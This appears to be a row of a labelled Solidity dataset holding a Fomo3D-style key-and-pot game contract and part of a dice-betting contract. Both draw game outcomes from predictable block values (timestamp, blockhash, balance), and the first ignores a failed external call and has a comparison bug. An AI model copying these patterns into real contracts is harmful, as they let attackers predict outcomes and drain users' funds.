(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round[_rID].end)
if (_now > round[_rID].strt + rndGap_)
return( (round[_rID].end).sub(_now) );
else
return( (round[_rID].strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0)
{
if (round[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round[_rID].mask).add(((((round[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round[_rID].keys))).mul(plyrRnds[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round[_rID].keys,
round[_rID].end,
round[_rID].strt,
round[_rID].pot,
round[_rID].plyr,
plyr_[round[_rID].plyr].addr,
plyr_[round[_rID].plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, FDDdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _eventData_);
} else {
if (_now > round[_rID].end && round[_rID].ended == false)
{
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FDDEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, FDDdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _eventData_);
} else if (_now > round[_rID].end && round[_rID].ended == false) {
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FDDEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, FDDdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round[_rID].eth < 100000000000000000000 && plyrRnds[_pID][_rID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round[_rID].plyr != _pID)
round[_rID].plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds[_pID][_rID].keys = _keys.add(plyrRnds[_pID][_rID].keys);
plyrRnds[_pID][_rID].eth = _eth.add(plyrRnds[_pID][_rID].eth);
round[_rID].keys = _keys.add(round[_rID].keys);
round[_rID].eth = _eth.add(round[_rID].eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
round_ = round[_rID];
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return((((round[_rIDlast].mask).mul(plyrRnds[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds[_pID][_rIDlast].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(FDDdatasets.EventReturns memory _eventData_)
private
returns (FDDdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, FDDdatasets.EventReturns memory _eventData_)
private
returns (FDDdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(FDDdatasets.EventReturns memory _eventData_)
private
returns (FDDdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round[_rID].plyr;
uint256 _pot = round[_rID].pot;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round[_rID].mask = _ppt.add(round[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = _com;
rID_++;
_rID++;
round[_rID].strt = now + rndExtra_;
round[_rID].end = now + rndInit_ + rndExtra_;
round[_rID].pot = _com;
round_ = round[_rID];
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds[_pID][_rIDlast].mask = _earnings.add(plyrRnds[_pID][_rIDlast].mask);
plyrRnds_[_pID] = plyrRnds[_pID][_rIDlast];
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round[_rID].end && round[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round[_rID].end);
if (_newTime < (rndMax_).add(_now))
round[_rID].end = _newTime;
else
round[_rID].end = rndMax_.add(_now);
round_ = round[_rID];
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, FDDdatasets.EventReturns memory _eventData_)
private
returns(FDDdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth * 10 / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FDDEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(Bank).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, FDDdatasets.EventReturns memory _eventData_)
private
returns(FDDdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round[_rID].pot = _pot.add(_dust).add(round[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
round_ = round[_rID];
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys);
round[_rID].mask = _ppt.add(round[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds[_pID][_rID].mask = (((round[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds[_pID][_rID].mask);
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
round_ = round[_rID];
return(_gen.sub((_ppt.mul(round[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, FDDdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FDDEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false, "FomoDD already activated");
activated_ = true;
rID_ = 1;
round[1].strt = now + rndExtra_;
round[1].end = now + rndInit_ + rndExtra_;
round_ = round[1];
}
}
library FDDdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library FDDKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface BankInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,147 |
pragma solidity ^0.4.25;
contract IUserData {
function setUserRef(address _address, address _refAddress, string _gameName) public;
function getUserRef(address _address, string _gameName) public view returns (address);
}
contract Dice_BrickGame {
IUserData userData = IUserData(address(0x21d364b66d9065B5207124e2b1e49e4193e0a2ff));
uint8 public FEE_PERCENT = 2;
uint8 public JACKPOT_PERCENT = 1;
uint constant MIN_JACKPOT = 0.1 ether;
uint public JACKPOT_WIN = 1000;
uint public MIN_BET = 0.01 ether;
uint public MAX_BET = 1 ether;
uint public MAX_PROFIT = 5 ether;
uint public REF_PERCENT = 5;
address public owner;
address private bot;
uint public jackpotFund;
uint public resolve = 0;
uint public payLoan = 0;
struct Bet {
uint blockNumber;
address player;
uint amount;
bytes hexData;
}
struct Loan {
address player;
uint amount;
}
Bet[] public bets;
Loan[] private loans;
event DiceBet(address indexed player, uint amount, uint blockNumber, bytes data, uint8 result, uint reward, uint16 jackpotNumber, uint indexed modulo);
event Jackpot(address indexed player, uint amount);
event JackpotIncrease(uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event Repayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner can call.");
_;
}
modifier onlyBot {
require(msg.sender == bot || msg.sender == owner, "OnlyOwner can call.");
_;
}
function() public payable {
uint8 length = uint8(msg.data.length);
require(length >= 2, "Wrong bet number!");
address ref = address(0x0);
uint8 index;
if(length > 12) {
index = 20;
ref = toAddress(msg.data, 0);
require(ref != msg.sender, "Reference must be different than sender");
} else {
index = 0;
}
uint8 modulo = uint8((msg.data[index] >> 4) & 0xF) * 10 + uint8(msg.data[index] & 0xF);
require(modulo == 2 || modulo == 6 || modulo == 12 || modulo == 0, "Wrong modulo!");
if (modulo == 0) {
modulo = 100;
}
uint8[] memory number = new uint8[](length - index - 1);
for (uint8 j = 0; j < length - index - 1; j++) {
number[j] = uint8((msg.data[j + index + 1] >> 4) & 0xF) * 10 + uint8(msg.data[j + index + 1] & 0xF);
if (modulo == 12) {
require(number[j] > 1 && number[j] <= 12, "Two Dice Confirm!");
} else {
require(number[j] <= modulo, "Wrong number bet!");
if (modulo != 100) {
require(number[j] > 0, "Wrong number bet!");
}
}
}
if (modulo == 100) {
require(number[0] == 0 || number[0] == 1, "Etheroll Confirm!");
require(number[1] > 1 && number[1] < 100, "Etheroll Confirm!");
} else if (modulo == 12) {
require(number.length < 11, "Much number bet!");
} else {
require(number.length < modulo, "Much number bet!");
}
require(msg.value >= MIN_BET && msg.value <= MAX_BET, "Value confirm!");
uint winPossible;
if (modulo == 100) {
if (number[0] == 1) {
winPossible = (100 - number[1]) / number[1] * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
} else {
winPossible = (number[1] - 1) / (101 - number[1]) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
}
} else {
if (modulo == 12) {
winPossible = ((modulo - 1 - number.length) / number.length + 1) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
} else {
winPossible = ((modulo - number.length) / number.length + 1) * msg.value * (100 - FEE_PERCENT - (msg.value >= MIN_JACKPOT ? 1 : 0)) / 100;
}
}
require(winPossible <= MAX_PROFIT);
if(userData.getUserRef(msg.sender, "Dice") != address(0x0)) {
userData.getUserRef(msg.sender, "Dice").transfer(msg.value * REF_PERCENT / 1000);
} else if(ref != address(0x0)) {
ref.transfer(msg.value * REF_PERCENT / 1000);
userData.setUserRef(msg.sender, ref, "Dice");
}
bets.length++;
bets[bets.length - 1].blockNumber = block.number;
bets[bets.length - 1].player = msg.sender;
bets[bets.length - 1].amount = msg.value;
bets[bets.length - 1].hexData.length = length - index;
for(j = 0; j < bets[bets.length - 1].hexData.length; j++){
bets[bets.length - 1].hexData[j] = msg.data[j + index];
}
}
function setBot(address _bot) public onlyOwner {
require(_bot != address(0x0));
bot = _bot;
}
function setConfig(uint8 _FEE_PERCENT, uint8 _JACKPOT_PERCENT, uint _MAX_PROFIT, uint _MIN_BET, uint _MAX_BET, uint _JACKPOT_WIN, uint8 _REF_PERCENT) public onlyOwner {
FEE_PERCENT = _FEE_PERCENT;
JACKPOT_PERCENT = _JACKPOT_PERCENT;
MAX_PROFIT = _MAX_PROFIT;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
MAX_PROFIT = _MAX_PROFIT;
JACKPOT_WIN = _JACKPOT_WIN;
REF_PERCENT = _REF_PERCENT;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require(increaseAmount <= address(this).balance, "Not enough funds");
jackpotFund += uint(increaseAmount);
emit JackpotIncrease(jackpotFund);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require(withdrawAmount <= address(this).balance, "Not enough funds");
require(jackpotFund + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount);
}
function kill() external onlyOwner {
sendFunds(owner, address(this).balance);
selfdestruct(owner);
}
function doBet(uint gameNumber) private {
uint8 modulo = uint8((bets[gameNumber].hexData[0] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[0] & 0xF);
uint8 result;
if (modulo == 12) {
uint8 dice1 = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, blockhash(bets[gameNumber].blockNumber)))) % 6;
uint8 dice2 = uint8(keccak256(abi.encodePacked(address(this).balance, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % 6;
result = (dice1 == 0 ? 6 : dice1) + (dice2 == 0 ? 6 : dice2);
} else {
result = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, address(this).balance, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % modulo;
}
if (result == 0) {
result = modulo;
}
uint winValue = 0;
uint8[] memory number = new uint8[](bets[gameNumber].hexData.length - 1);
for (uint8 j = 0; j < bets[gameNumber].hexData.length - 1; j++) {
number[j] = uint8((bets[gameNumber].hexData[j + 1] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[j + 1] & 0xF);
}
for (uint8 i = 0; i < number.length; i++) {
if (number[i] == result) {
if (modulo == 12) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (modulo - 1 - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * number.length);
} else {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (modulo - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * number.length);
}
break;
}
}
if (bets[gameNumber].amount >= MIN_JACKPOT) {
jackpotFund += bets[gameNumber].amount * JACKPOT_PERCENT / 100;
emit JackpotIncrease(jackpotFund);
if (winValue != 0) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (modulo - number.length) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * number.length);
}
uint16 jackpotNumber = uint16(uint(keccak256(abi.encodePacked(bets[gameNumber].player, winValue, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].hexData))) % JACKPOT_WIN);
if (jackpotNumber == 999) {
emit Jackpot(bets[gameNumber].player, jackpotFund);
sendFunds(bets[gameNumber].player, jackpotFund + winValue);
jackpotFund = 0;
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
emit DiceBet(bets[gameNumber].player, bets[gameNumber].amount, bets[gameNumber].blockNumber, bets[gameNumber].hexData, result, winValue, jackpotNumber, modulo);
}
function etheRoll(uint gameNumber) private {
uint8 result = uint8(keccak256(abi.encodePacked(bets[gameNumber].hexData, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % 100;
if (result == 0) {
result = 100;
}
uint winValue = 0;
uint8[] memory number = new uint8[](bets[gameNumber].hexData.length - 1);
for (uint8 j = 0; j < bets[gameNumber].hexData.length - 1; j++) {
number[j] = uint8((bets[gameNumber].hexData[j + 1] >> 4) & 0xF) * 10 + uint8(bets[gameNumber].hexData[j + 1] & 0xF);
}
if (number[0] == 0 && number[1] >= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (100 - uint(number[1])) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * uint(number[1]));
}
if (number[0] == 1 && number[1] <= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT) / 100 + (uint(number[1]) - 1) * bets[gameNumber].amount * (100 - FEE_PERCENT) / (100 * (101 - uint(number[1])));
}
if (bets[gameNumber].amount >= MIN_JACKPOT) {
jackpotFund += bets[gameNumber].amount * JACKPOT_PERCENT / 100;
emit JackpotIncrease(jackpotFund);
if (number[0] == 0 && number[1] >= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (100 - uint(number[1])) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * uint(number[1]));
}
if (number[0] == 1 && number[1] <= result) {
winValue = bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / 100 + (uint(number[1]) - 1) * bets[gameNumber].amount * (100 - FEE_PERCENT - JACKPOT_PERCENT) / (100 * (101 - uint(number[1])));
}
uint16 jackpotNumber = uint16(uint(keccak256(abi.encodePacked(bets[gameNumber].hexData, winValue, blockhash(bets[gameNumber].blockNumber), bets[gameNumber].player))) % JACKPOT_WIN);
if (jackpotNumber == 999) {
emit Jackpot(bets[gameNumber].player, jackpotFund);
sendFunds(bets[gameNumber].player, jackpotFund + winValue);
jackpotFund = 0;
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
} else {
if (winValue > 0) {
sendFunds(bets[gameNumber].player, winValue);
}
}
